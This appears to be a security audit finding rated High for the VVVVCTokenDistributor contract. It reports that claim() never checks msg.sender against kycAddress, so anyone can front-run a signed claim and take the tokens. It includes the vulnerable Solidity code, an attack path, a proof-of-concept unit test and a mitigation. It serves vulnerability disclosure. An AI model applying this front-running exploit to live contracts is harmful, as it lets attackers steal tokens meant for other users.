Skip to content

Latest commit

 

History

History
129 lines (96 loc) · 4.02 KB

File metadata and controls

129 lines (96 loc) · 4.02 KB

Melted Carrot Swan

High

Anyone can claim kycAddress tokens in VVVVCTokenDistributor

Summary

There is no verification that msg.sender == kycAddress during the execution of the VVVVVVCTokenDistributor::claim function.

function claim(ClaimParams memory _params) public {
        if (claimIsPaused) {
            revert ClaimIsPaused();
        }

        if (_params.projectTokenProxyWallets.length != _params.tokenAmountsToClaim.length) {
            revert ArrayLengthMismatch();
        }

        if (_params.nonce <= nonces[_params.kycAddress]) {
            revert InvalidNonce();
        }

        if (!_isSignatureValid(_params)) {
            revert InvalidSignature();
        }

        // update nonce
        nonces[_params.kycAddress] = _params.nonce;

        // define token to transfer
        IERC20 projectToken = IERC20(_params.projectTokenAddress);

        // transfer tokens from each wallet to the caller
        for (uint256 i = 0; i < _params.projectTokenProxyWallets.length; i++) {
            projectToken.safeTransferFrom(
                _params.projectTokenProxyWallets[i],
                msg.sender,
                _params.tokenAmountsToClaim[i]
            );
        }

        emit VCClaim(
            _params.kycAddress,
            _params.projectTokenAddress,
            _params.projectTokenProxyWallets,
            _params.tokenAmountsToClaim,
            _params.nonce
        );
    }
function _isSignatureValid(ClaimParams memory _params) private view returns (bool) {
        bytes32 digest = keccak256(
            abi.encodePacked(
                "\x19\x01",
                DOMAIN_SEPARATOR,
                keccak256(
                    abi.encode(
                        CLAIM_TYPEHASH,
                        _params.kycAddress,
                        _params.projectTokenAddress,
                        _params.projectTokenProxyWallets,
                        _params.tokenAmountsToClaim,
                        _params.nonce,
                        _params.deadline
                    )
                )
            )
        );

        address recoveredAddress = ECDSA.recover(digest, _params.signature);

        bool isSigner = recoveredAddress == signer;
        bool isExpired = block.timestamp > _params.deadline;
        return isSigner && !isExpired;
    }

Thus, the signature is used on the principle of whoever used it first gets all the tokens, even though the signature is explicitly created at kycAddress.

Thus, using frontrun, or simply recognising the signature in another way - anyone can use it before kycAddress and take the tokens that are intended for him.

Root Cause

  • No check that msg.sender == kycAddress
  • Tokens transfered to msg.sender

Internal pre-conditions

No response

External pre-conditions

Anyone, who

Attack Path

Anyone who finds out the signature by any means (the most obvious is frontrun) and executes the transaction before kycAddress - will take the tokens that are intended for kycAddress.

Impact

Severity: High - broken protocol behaviour and losing funds

PoC

paste this test to VVVVCTokenDistributorUnitTests

function testAnyoneClaim() public {
        address[] memory thisProjectTokenProxyWallets = new address[](1);
        uint256[] memory thisTokenAmountsToClaim = new uint256[](1);

        thisProjectTokenProxyWallets[0] = projectTokenProxyWallets[0];

        uint256 claimAmount = sampleTokenAmountsToClaim[0];
        thisTokenAmountsToClaim[0] = claimAmount;

        VVVVCTokenDistributor.ClaimParams memory claimParams = generateClaimParamsWithSignature(
            sampleKycAddress,
            thisProjectTokenProxyWallets,
            thisTokenAmountsToClaim
        );

        claimAsUser(sampleUser, claimParams);
        assertTrue(ProjectTokenInstance.balanceOf(sampleUser) == claimAmount);
    }

Mitigation

Add check that msg.sender == kycAddress